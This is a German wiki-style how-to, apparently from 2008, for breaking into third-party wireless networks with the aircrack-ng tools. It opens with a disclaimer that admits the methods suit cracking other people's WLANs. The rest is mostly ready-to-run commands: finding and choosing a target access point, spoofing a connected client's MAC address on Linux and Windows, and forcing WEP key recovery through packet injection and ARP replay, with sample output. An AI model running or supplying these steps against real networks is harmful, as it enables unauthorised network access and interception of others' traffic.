

DISCLAIMER: DIE BESCHRIEBENEN VERFAHREN EIGNEN SICH U.A. DAZU, FREMDE WLAN'S ZU KNACKEN.

ICH DISTANZIERE MICH VON DIESER ANWENDUNG IN ALLER DEUTLICHKEIT!

Alle angegebenen Netzwerknamen und MAC's sind frei erfunden
Übereinstimmungen sind REIN zufällig

Inhaltsverzeichnis

1. Installation
 1. aircrack-ng und aircrack-ptw
 1. (K)Ubuntu-generic und Debian
 2. SUSE
 2. Treiber für monitor mode und injection
 1. ipw3945 & iw13945
2. Netzwerke finden
3. Angriffsszenarien
 1. MAC Spoofing
 2. WEP
4. Anhang
 1. weitere Programme
 2. Anmerkung für M\$ Windows User
 1. Netzwerke finden
 2. WEP Angriff
 3. MAC Ändern


Installation

aircrack-ng und aircrack-ptw


(K)Ubuntu-generic und Debian

Das aircrack-ng Projekt liegt vor-kompiliert bereits vor:

```
# apt-get install aircrack-ng
```

Die neuere Version des  aircrack-ptw Programms ist nur als Source verfügbar. Es wird zum schnellen finden von WEP Passwörtern benötigt. Manuelle Installation:

```
$ wget http://www.cdc.informatik.tu-darmstadt.de/aircrack-  
ptw/download/aircrack-ptw-1.0.0.tar.gz  
$ tar -xvzvf aircrack-ptw-1.0.0.tar.gz  
$ cd aircrack-ptw-1.0.0/  
# apt-get install libpcap0.8-dev  
$ make  
# mv aircrack-ptw /usr/bin
```

 Das "move" Kommando ist nicht zwingend notwendig. Das Programm lässt sich auch problemlos im Userspace ausführen:

```
$ ./aircrack-ptw
```

SUSE

aircrack suite installieren

```
# yast -i aircrack-ng
```


Die Installation der ptw Version sollte genauso wie unter Ubuntu funktionieren. Dabei muss man sich nur nochmal um das Paket libpcap0.8-dev kümmern...

Treiber für monitor mode und injection

Prinzipiell benötigt man eine Wlan Karte mit:

- Monitor Mode
- Injection

Einen guten Ruf haben Karten von Orinocco und Atheros. Leider lassen sich die Chipsatzhersteller bei billigen Karten oft nur schwer finden.

siehe dazu:  [http://www.aircrack-ng.org/doku.php?id=install_drivers&](http://www.aircrack-ng.org/doku.php?id=install_drivers&DokuWiki=48345c3bbf4dd35022cb04f6dc4b1a36)

[DokuWiki=48345c3bbf4dd35022cb04f6dc4b1a36](http://www.aircrack-ng.org/doku.php?id=install_drivers&DokuWiki=48345c3bbf4dd35022cb04f6dc4b1a36)

Bitte Probleme und Lösungen für andere Karten auch posten.

ipw3945 & iwl3945

Bei ipw3945 handelt es sich um einen Intel Chipsatz, der vornehmlich in der Centrino Plattform vor "Santa Rosa" verbaut wurde.

Dannach wurde auf Draft-N Wlan umgestellt. Ab diesem Zeitpunkt kommt ipw4965 zum Einsatz.

Bis Kernel 2.6.22 wurde ein altes Subsystem (ieee80211) verwendet, auf dem der monitor mode, aber keine injection liefen. Daraufhin wurde unter dem Codename ipwraw ein Treiber "zusammen-gehackt" der die fehlende injection - sehr unzuverlässig - bereitstellte. Dieser Treiber war jedoch nicht für die normal Nutzung praktikabel, er war optimiert um sogenannte raw Pakete zu versenden. Allen Leuten mit einem Kernel unter 2.6.22 rate ich daher zu einem Update auf einen aktuellen Kernel und damit auf das neue Subsystem.

Ab besagter Version 2.6.22 wurde ein neuer Wlan Stack (mac80211) migriert, auf dem ein neuer Treiber für die ipw3945 lief. Der Name iw13945. Dieser Treiber unterstützt monitor mode UND injection - die Lösung der Probleme des alten ipw3945 / ipraw.

 aktuelle Kernel Version anzeigen:

```
$ uname -r
```

Das compat-wireless Paket stellt per Patch die neusten Features des mac80211 Stacks bereit.

```
# apt-get install linux-headers-generic build-essential
$ wget http://linuxwireless.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2
$ tar -xjf compat-wireless-2.6.tar.bz2
$ cd compat-wireless-*
$ make
# make install && make load
```

Zum deinstallieren der Erweiterung

```
# make unload
# make uninstall
```

 **ACHTUNG NUR BIS HIER GETESTET!!!** 

Monitor Modus starten:

```
airmon-ng start wlan0
```

Erstellt den Monitor-device "mon0" Bei Nutzung von airodump-ng ist folgendes zu beachten:

```
airodump-ng -c <channel>, <channel> mon0
```

Durch einen Bug muss der Channel 2mal gesetzt werden.
Device ist der eben erstellte mon0 Monitor.

Netzwerke finden

💡 Bitte alle Befehle mit root-Rechten ausführen.

```
$ su
```

oder

```
$ sudo -s
```

Für den gesamten Ablauf wird der Netzwerkadapter genutzt. Da er je nach Konfiguration und Hardware.

Mein Netzwerkadapter heisst *wlan0*. Bitte passend ersetzen:

```
# ETH="wlan0"
```

Während des gesamten Geschehens soll das Programm *airodump-ng* laufen.
Vor dem Start muss man den sogenannten Monitor Mode beenden:

```
# airmon-ng $ETH stop
```

Nun lässt sich *airodump-ng* problemlos starten:

```
# airodump-ng $ETH
```

Nun erhält man 2 Listen.

- obere Liste:

Die obere Liste stellt alle AP - also alle Basistationen - dar.

In 99% ist ein solcher AP auch das Angriffsziel.

Nachdem man sich das richtige Netzwerk ausgesucht hat, werden folgende Daten eingelesen:

```
# BSSID="00:12:A9:0C:F8:45" //MAC Adresse des Ziels  
# ESSID="WLAN-D43251" //Netzwerkname  
# CHANNEL="11" //Broadcast Channel auf dem die AP funkt
```

folgende Daten werden zudem angezeigt:

Name	Beschreibung
Beacons	geben die Qualität der Verbindung an: Je mehr desto besser
PWR	Signalstärke (wird nicht von allen Karten unterstützt)
#Data	geben die Anzahl der aufgenommenen schwachen IV's an. Diese Pakete machen ein WEP Netz angreifbar. Mit dem in aircrack-ptw implementierten Algorithmus lassen sich WEP Passwörter mit ca. 30.000 #Data Paketen berechnen
ENC	Art der Verschlüsselung (OPN/WEP/WPA/WPA2)
MB	verwandter Funkstandard a/b/g/n g=54MB

- die untere Liste:

In der unteren Liste sind alle Clients aufgeführt, die in irgendeiner Form mit einer der AP's verbunden sind.

Fall das Netzwerk einen MAC Filter nutzt, kann man dort vllt einen Client finden seine MAC spoofen.

Für WEP Attacken bedeuten viele Clients gleich viel Traffic und das wiederum ermöglicht es einen passiven Angriff auszuführen.

Für WPA Attacken ist es essentiell, dass Clients verbunden sind, sonst ist ein Angriff nahezu ausgeschlossen.

Angriffsszenarien

Nun sind alle Daten über das WLAN bekannt.

Je nach Verschlüsselung / Schutz gibt es unterschiedliche Vorgehensweisen:

Schutz	Vorgehen
MAC Filter	MAC Spoofen
WEP	Injection oder reines mitschneiden
WPA	4-Way-Handshake abfangen und knacken
WPA2 und VPN	kein praktischer Angriff bekannt

MAC Spoofing

MAC Filter werden immer noch eingesetzt, obwohl es sogar schon Win Tools gibt mit denen man MAC Adressen ändern kann.

Normalerweise ist die MAC der Hardware (auch BSSID genannt) in einem ROM auf der jeweiligen Karte unveränderlich abgelegt.

Allerdings ist es möglich mit Software (Linux Bordmittel) die nach außen gegebene MAC zu verändern (Spoofing).

Für das Spoofing braucht man eine zugelassene MAC Adresse. Per

```
# airodump-ng $ETH
```

lässt sich einfach feststellen ob und welche Clients mit einer AP verbunden sind.

Client / Spoofing MAC speichern

```
# SPOOF="00:19:34:F4:D2:33" // MAC des verbundenen Clients
```

Ändern der eigenen MAC

```
# ifconfig $ETH down  
# ifconfig $ETH hw ether $SPOOF  
# ifconfig $ETH up
```

Bei Neustart wird die Original-MAC zurückgesetzt.

WEP

Dieser Angriff ist nun mittlerweile seit einem Jahr für die breite Öffentlichkeit zugänglich.

Normalerweise hört eine WLAN Karte nur auf Pakete, die auf sie adressiert sind.

Der Monitor-Mode sorgt dafür, dass alle Pakete mitgehört werden können die auf einem bestimmten Channel gesendet werden

Den Wlan Adapter anhalten:

```
airmon-ng stop $ETH
```

\$ iwconfig sollte nun keine Wlan Erweiterungen mehr erkennen:

```
lo          no wireless extensions.  
eth0       no wireless extensions.  
wifi0      no wireless extensions.
```

Neustarten des Wlan Adapters im Monitor Mode:

```
# airmon-ng start $ETH $CHANNEL
```

Nun muss **airodump** den Verkehr auf dem Channel aufzeichnen:

```
# airodump-ng -c $CHANNEL --bssid $BSSID -w output $ETH
```

output ist dabei die Datei, in die alle aufgenommenen Pakete gespeichert werden.

Für die folgenden Schritte ist es extrem wichtig, dass der MAC Filter ausgeschaltet, bzw. gespooft ist.

Nun startet man die Injection, um die Paketanzahl zu steigern:

```
# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $SPOOF $ETH
```

Anstatt \$SPOOF kann man auch die eigene MAC nehmen, wenn kein MAC Filter existiert. Wenn alles geklappt hat sollte die Ausgabe wie folgt aussehen:

```
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
```

Nun kann der Spass losgehen. **aireplay** wird nun gefakte Authentisierungsanfragen abschicken, um die AP ein bisschen zum senden von schwachen IV zu animieren:

```
# aireplay-ng -3 -b $BSSID -h $SPOOF $ETH
```

Nun sollte etwas in der Art ausgegeben werden:

```
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955
packets...
```

Wenn ca 30.000 #Data von airodump-ng angezeigt werden kann man die Programme schließen und aircrack starten:

```
# aircrack-ptw -b $BSSID output*.cap
```

Je mehr Pakete man hat desto schneller / erfolgreicher ist dieser Vorgang.

Der Crack-Vorgang braucht viel Rechenleistung & RAM. Im Zweifelsfall kann man das auch auf einem anderen Rechner machen, falls man dem Netbook-Wahn erlegen ist. Nach mehr oder weniger kurzer Zeit sollte ein Passwort ausgegeben werden. DONE.

Anhang


weitere Programme

<i>Programmname</i>	<i>Funktion</i>
kismet	textbasierter Wlan - Scanner
wireshark	Netzwerk-Sniffer, mit sehr guter Filterfunktion für definierte Pakete.
nmap	kleiner, schneller Portscanner um sich im Netzwerk zu Orientieren
ping	testen ob ein server erreichbar ist
iwconfig	Wlan Hardware einrichten und beobachten
ophcrack	GUI für Rainbow Tables - relativ schlecht für WPA interessant...

Anmerkung für M\$ Windows User


Netzwerke finden

Es gibt ein nettes Tool mit dem man Netzwerke unter Windows besser finden kann:

 <http://www.netstumbler.com/downloads/>

kleines HowTo (Englisch):

WEP Angriff

aircrack-ptw lässt sich mit  Modifikationen auch unter Windows installieren... Probleme treten bei den Treibern auf. Es wird prinzipiell keine Injection unterstützt. Überhaupt gibt es nur wenig Karten / Treiber die überhaupt den Monitor - Mode bereitstellen.

MAC Ändern

```
WINDOWS - R  
rededit
```

öffnen:

```
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class  
\{4D36E972-E325-11CE-BFC1-08002BE10318}]
```

ausklappen und dort nach

```
DriverDesc
```

suchen bis die gewünschte Netzwerkkarte auftaucht (Unterordner 0000 - 0xxx)
dann eine neue "Zeichenfolge" mit

```
NetworkAddress
```


hinzufügen

und als Wert die MAC Adresse (ohne Bindestriche) eingeben,
dann die LAN Verbindung deaktivieren und wieder starten.

```
$ ipconfig /all
```

Ist die neue MAC wirksam?

⚠ an alle Script-Kiddy's: Keine MAC's doppelt nutzen, das führt zu
Netzwerkproblemen...

Extern: PitGranzowEt07/aircrack (zuletzt geändert am 2008-11-08 14:42:55 durch  PitGranzowEt07)